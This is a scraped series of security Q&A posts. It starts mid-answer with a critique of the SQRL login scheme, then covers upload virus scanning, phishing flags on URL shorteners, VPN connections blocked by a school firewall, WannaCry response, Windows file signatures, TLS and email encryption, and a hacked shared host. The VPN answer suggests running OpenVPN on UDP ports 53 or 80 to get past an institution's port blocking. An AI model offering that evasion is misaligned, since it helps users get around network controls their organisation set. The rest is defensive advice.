A brute-force attack against the authentication token is not feasible.
Credentials are not stored on your computer. This protects you against a small subset of workstation-directed attacks. Specifically, you're protected against attacks that steal your password from your computer. You are not protected against any sort of session hijacking or browser-takeover attacks, though, and you are now also susceptible to phone-related attacks. More on that later.
Disadvantages
This technique is dangerously susceptible to MITM attacks and social engineering. Probably more so than any other authentication scheme in use, including passwords. The authentication step and the login initiation step are inherently disconnected in the sense that the phone will correctly authenticate against any presented QR code, no matter how or where it gets presented to the user.
So, for example, a phishing site can display an authentic login QR code which logs in the attacker instead of the user. Gibson is confident that users will see the name of the bank or store or site on the phone app during authentication and will therefore exercise sufficient vigilance to thwart attacks. History suggests this unlikely, and the more reasonable expectation is that seeing the correct name on the app will falsely reassure the user into thinking that the site is legitimate because it was able to trigger the familiar login request on the phone. The caution already beaten in to the heads of users regarding password security does not necessarily translate to new authentication techniques like this one, which is what makes this app likely inherently less resistant to social engineering.
This technique combines both authentication and identity into a physical object which is frequently lost or stolen.  In this sense it's more like a passport rather than a password. Anyone in possession of your phone is suddenly exclusively in possession of your identity: not only can the attacker impersonate you, but without a second copy on a second phone (unlikely), now you have lost the ability to identify yourself. Authentication keys are not revokable, so without out-of-band recovery from each and every site, you cannot recover your identity. And even if out-of-band recovery exists, when confronted with two users, one with possession of the identity and one without, it may be difficult to see why the site operator should trust you.
This technique combines all your authentication tokens into a single key unless you manually create others. This makes your one key an extra-juicy target for attackers. Furthermore, the key is stored on your phone, which devices have typically had laughably porous internal security. Combining unusually juicy targets with substandard security does not make you safe.
Alternatives
The most problematic aspect of this scheme is how poorly it compares to the available alternatives.
The most secure universally-accepted option today is lastpass, keepass, and other such browser-integrated password systems. In particular, client-side encryption alleviates the need to trust any third party. And more importantly, browser integration makes phishing practically impossible. LastPass or KeePass will only fill the password if served from the correct domain, which means that if presented with a malicious site, the user won't have access to his password.
Furthermore, LastPass recently added a feature which nags users to change passwords that are not globally unique. This helps prevent password re-use, which means the primary benefit of Gibson's technique can easily be gained using this tool today on existing sites, without the added insecurity his scheme implies.
Existing second-factor authentication schemes which use phones or similar devices help protect user logins today already do so in such a way that doesn't make you immediately vulnerable to identity theft if your device is stolen. The added security of two-factor authentication lies in the fact that neither the device nor the password can be used if stolen without the other. Gibson's technique is largely resistant to being included in a two-factor scheme, which makes this level of protection unavailable.
TL;DR:
Gibson's authentication technique does not create sufficient benefit to overcome the additional security costs that it also imposes. These costs are a fundamental part of the scheme itself and cannot likely be worked out without scrapping the whole design.
You could argue that it's better than nothing, but you can't argue that it's better than anything we already have.
Gibson's Updates
Gibson recently announced some additional protection against phishing because this has been a major criticism. Their protection is this: If you're NOT using the QR codes, cell phone, etc., and instead have an authentication agent on your system (in-browser, for example), then the server can check to make sure that the authentication response comes from the same IP as the authentication request. This is good and well, but the whole purpose of this protocol is move your identity to your cell phone. If the only safe way to use the protocol is to not use it's core feature, then perhaps we should re-think what we're trying to accomplish.
Theoretically you could continue to use your cell phone if (and only if) your cell phone knew that it was using the same IP as your computer. Which, of course, it can't know because it doesn't know your computer's IP address.
A Better Solution
As stated before, if the authentication measure is in your browser, then the whole phishing problem is immediately solved with no effort or verification on the part of the user. Even the least capable user can't be tricked into authenticating to the wrong site because the site's authentication token is associated with the domain name, and the browser won't allow authentication to the wrong domain. This is a technique already in use today, is completely automatic, and does not require the site's cooperation or any intelligence on the part of the user.
This method can be strengthened by requiring a second authentication factor (such as a time-varying key on a cell phone) which, again, is already available and in use today, which protects you (most notably) against screw-ups on the part of the destination site or company.
As for concerns about browser-side authentication being vulnerable to client-workstation attacks: while the is true, it's also true that if your browser is compromised, then no usage of that browser is safe, no matter what authentication mechanism you use. Malware authors can (and already do) wait for you to authenticate on your own using your super-secure technique, and then silently send the necessary traffic to "own" your account, all without you seeing anything amiss. Neither SQRL nor any other authentication system can protect the user of a compromised browser, any more than door locks can protect you from a house fire. Buying fireproof locks is not a solution.
Where Next
If you're looking for an absolute guarantee of protection from impersonation, then look at the Fido U2F token. This standard shines where SQRL falls short, and gives you guaranteed immunity to MITM (e.g. phishing) attacks. It does so by authenticating not just the user, but also the channel, so you're guaranteed that (a) your account can't be authenticated without the token, and also (b) your token can only be used to authenticate a connection to the machine it's attached to. See this answer for more information.


How to do a virus scan before post attachments in asp.net application How to do a virus scan before post attachments in asp.net application,when they find a virus on to give up post attachments,otherwise proceed to upload.

I wonder if there are any APIs out there where you can send a file for scanning? I mean could we possibly upload, send off to a third party for scanning then receive a response?

My advise is to configure a directory that your AV scans whenever a file appears there.

Save your attachment there, and attempt to read it after it's been saved. If it can't be read after it's been saved there, or if it doesn't exist there anymore, then it is a potential virus that needs to be examined further.


Why is tinyurl.com returning a phishing warning? I have been using tinyurl.com for years for conveniently marking frequently used long URLs.  This morning I went to create a tinyurl and this is the first time I saw:

Questions:

What authority has deemed this a phishing site?
Has the URL name been hijacked?
Maybe it is something that I've done or need to correct on my end?

I seek to have a better understand of why this is happening and its implications.  I understand that link that redirects is a prime candidate for masking phishing sites, however, is the implication that the home page of tinyurl.com is a phishing site? Is there cause not to go to tinyurl.com and create redirect links for my lengthy URLs?

Given the fact that Tinyurl (or other services like bit.ly) allows one to hide another URL by providing a short one, you can easily understand that the service is abused in the context of phishing attempts where the goal is usually to trap a user into clicking on a malicious link.

This means than many Tinyurl URL's have been used to redirect to malicious URL's in the past - therefore the flagging.

A "tinyurl" link looks less dangerous for an uneducated user and has therefore more chances to be clicked on.

To answer the "What authority has deemed this a phishing site?" : if I use Chrome and go on tinyurl.com I have no warning - I suppose that you use a browser add-on or an AV that has "web protection" and that injects some warning-sign html on your pages to warn when you arrive on addresses that are flagged as dangerous.

edit : man your question is not the same anymore.......


VPN blocked ports problem I use VPN quite often in public places where I don't want anyone to read my web traffic. However, some public places have firewalls that block ports required to establish a VPN connection (I usually use PPTP). I don't think some public places (especially my school) really distinguish between a VPN connection and HTTP(S) connections. They just block some ports (I think my school is blocking every port except 80, yes even HTTPS!, but I'm not quite sure.).
So I wonder if I can bypass the firewall (maybe by using another port). I can even change the protocol if necessary.
I already use port 80, and 443 for apache and 20, 21, and 22 for FTP, SFTP and SSH on my VPN server. I can use as many domains as necessary but I only have one IP address. Can configure my server so that it uses port 80 for apache if the requests comes from a specific domain and uses port 80 for my VPN server if it comes from another domain.

The Server is running on Mac OS X Mavericks (a UNIX system) using Mac Server 3.

You could try OpenVPN running on UDP on port 53, 80, or even its default port.  Many firewalls are not configured to block UDP, and you can have both a UDP service and a TCP service on the same port number.

  Can configure my server so that it uses port 80 for apache if the
  requests comes from a specific domain and uses port 80 for my VPN
  server if it comes from another domain.

No.  The operating system doesn't know anything about domains, only IP addresses, protocols, and ports.  So when a packet comes in for port 80 on a certain IP, it looks for what application is listening for TCP on port 80 on that IP, and delivers the packet to it.  Only one application can be on any given IP/Port/Protocol set.

If you had multiple IPs, you could run your VPN on one IP and the webserver on another IP.  Otherwise, ports are what are used to distinguish between applications.


NMap for getting machines connected to a network switch I am currently exploring Nmap for its capabilities. Can anyone tell how can Nmap be used to query the machines connected to a network switch?

Nmap is not the right tool for that.
"Machines connected to a network switch" is a layer 2 question.
Nmap is a layer 3 tool.


How to respond to ransom attack While the last ransom attack -WannaCry- Shook the world some forensic and malware analysis provided some help to stop the disaster or to slow it down. While reading Matt Suiche blog, he mentioned that you should not reboot the system. As a simple user or a sysadmin, how should I response when such attack happen during my watch to prevent more infected computers and to incise the chance to restore lost data? (paying the ransom is not an option.)
And is there any way to make a dump of the infected os memory to analyse it when suck too ( like the one above) will be available hopping that encrypted files could be restored ?

With WannaCry specifically, there is a known bug in current strains in the wild where the authors don't clear data that allows recovery of keys that allow for decryption of encrypted files.  The blog you link recommends not rebooting because that would clear the contents of memory, thus preventing you from exploiting this flaw to decrypt your files without paying.

Besides keeping your systems up to date on patches, the best strategy for mitigating a ransomeware threat is maintaining backups of user data so that if the worse happens, very little data is permanently lost.  You can attempt to decrease the likelihood of infection through user education and AV solutions, but these should not be relied upon as a sole defense.  For systems that must remain up at all times, establish a disaster scenario for them being knocked offline by ransomware (or any other attack for that matter).

Also important to note is that by the time you've been hit by ransomeware, there will already be thousands of people attempting to reverse engineer it and find ways of stopping it and fixing any damage it may have caused.  Keep an eye on these developments, because like with WannaCry, researchers may find cracks that will allow you to fully recover encrypted files or defend yourself against further infection.


Why does my rundll32.exe not have a verified signature? In the task manager, I saw an instance of rundll32.exe running, no big deal. Just for fun, I wanted to upload the source file to VirusTotal.

Where I noticed, the rundll32.exe file does not have the verified signature flag like the rest of the system32 files - it is as almost like it is faked. Which gave me worry, because it is very easy to swap system32 files in Windows by any program which you gave administrator permission (e.g. many setup files).

Also I found the first submission date suspicious for such an old file. Does Windows 10 constantly upgrade this file?

I expected it to look like it does for other verified files:

How can I understand that the file is not corrupted?

Edit1: Here is the link to the analysis.
https://www.virustotal.com/en/file/d25ff1e6c6460a7f9de39198d182058c1712726008d187e1953b83abe977e4a0/analysis/1495024378/

It appears this is a pretty simple thing.  Windows builtin files aren't individually signed and stored in the binary, they use catalogs to store their signatures.  See here: (it's old but mostly still true: https://blog.didierstevens.com/2008/01/11/the-case-of-the-missing-digital-signatures-tab/)

You can verify this yourself with a quick signature check of the relevant files:

You should also be able to use signtool to verify the catalog, which I'm not sure which is used for rundll32.exe.

signtoolverify /c fileIdontknow.cat rundll32.exe

That should tell you if the catalog contains it, though I'm guessing it should.


Is using TSL/SSL for sending/receiving email the same as encrypting? A client uses a big company for email control. A feature is encrypting, mainly, documents when they are sent(web portal based to access them).

I was under the impression that sending an email out would be unprotected till it hit their servers to actually encrypt the file and send the link. Their live chat person said that if you use TSL/SSL when sending out was sufficient to keep the information secure.

Am I correct to believe that this is only for the credentials?

No it is not.

You have at least 5 parties at play here, the sender S and their email server T, the recipient R and their email server Q, and an attacker. While TLS does use encryption, the purpose of 'encrypting email' is to prevent anyone but the recipient from reading the message. TLS only protects the message from prying eyes in 2 cases:

Case 1: between the sender and their email server, and between the recipient and their email server (S to T and Q to R)

Case 2: server to server message transfer (T to Q)

Note that once the message arrives at a server, it is no longer encrypted, an attacker with access to either server can read the message. This attacker can be in the form of a system administrator or malware. Proper email encryption is done at S so that only R can decode the message, this is generally done using hybrid encryption and public key infrastructure. Neither T nor Q can see the plaintext in this case.

Your example is slightly different, where you are using a web portal to send your file, it is encrypted with TLS up to the point where it reaches the service, then it is plaintext, and they reencrypt it so that only the correct authenticated user (I assume) can access the file. If the attacker has access to that system, they have access to the files. In this case the service is both T and Q.


Identifying website attack type (Meuhy.php) We have a few sites hosting on a Media Temple (MT) shared server. This morning, we noticed that some of our website were down. Upon investigation, we realized that they had been compromised. The directory structure for MT is as follows: domains>DOMAIN-NAME>html(aka website root).

At the DOMAIN-NAME level, we noticed a file named Meuhy.php. MT's support said that it looked like some sort of malicious package manager. I did a Google search for that file, but I didn't find anything that helped identify its source. I did, however, notice that it has been injected on other websites: https://www.google.com/search?q=meuhy.php&oq=m&aqs=chrome.4.69i60l4j69i59j69i60.5768j0j7&sourceid=chrome&ie=UTF-8

At the web root, we found that WordPress code had been injected into the index.php files, however, all of our sites except for one are Drupal sites. We also discovered that a series of .xml files were generated. They contained what looked like to be a series of server calls. We checked the GPU usage, and noticed that it spiked around that that these files were generated. Our Google Analytics also show that traffic spiked abnormally during this time.

My primary question is, does anyone know what type of attack this is, and should we be concerned that our databases could be compromised?

I found the Meuhy.php file on 10 WordPress sites. I also found these additional files added to GoDaddy hosted sites:

suspended..php
wp_rmder.php
test.php

The above files all of the Last Modified date of May 5th or May 14, 2018.

index.php had PHP code injected into it, last modified May 19 and a Google HTML file for verification on the Google search console was added May 19th.

I was first alerted because a new owner of the domain name was added on May 19th. I noticed that 5 XML sitemaps had been added that day, each with approximately 40,000 URLs.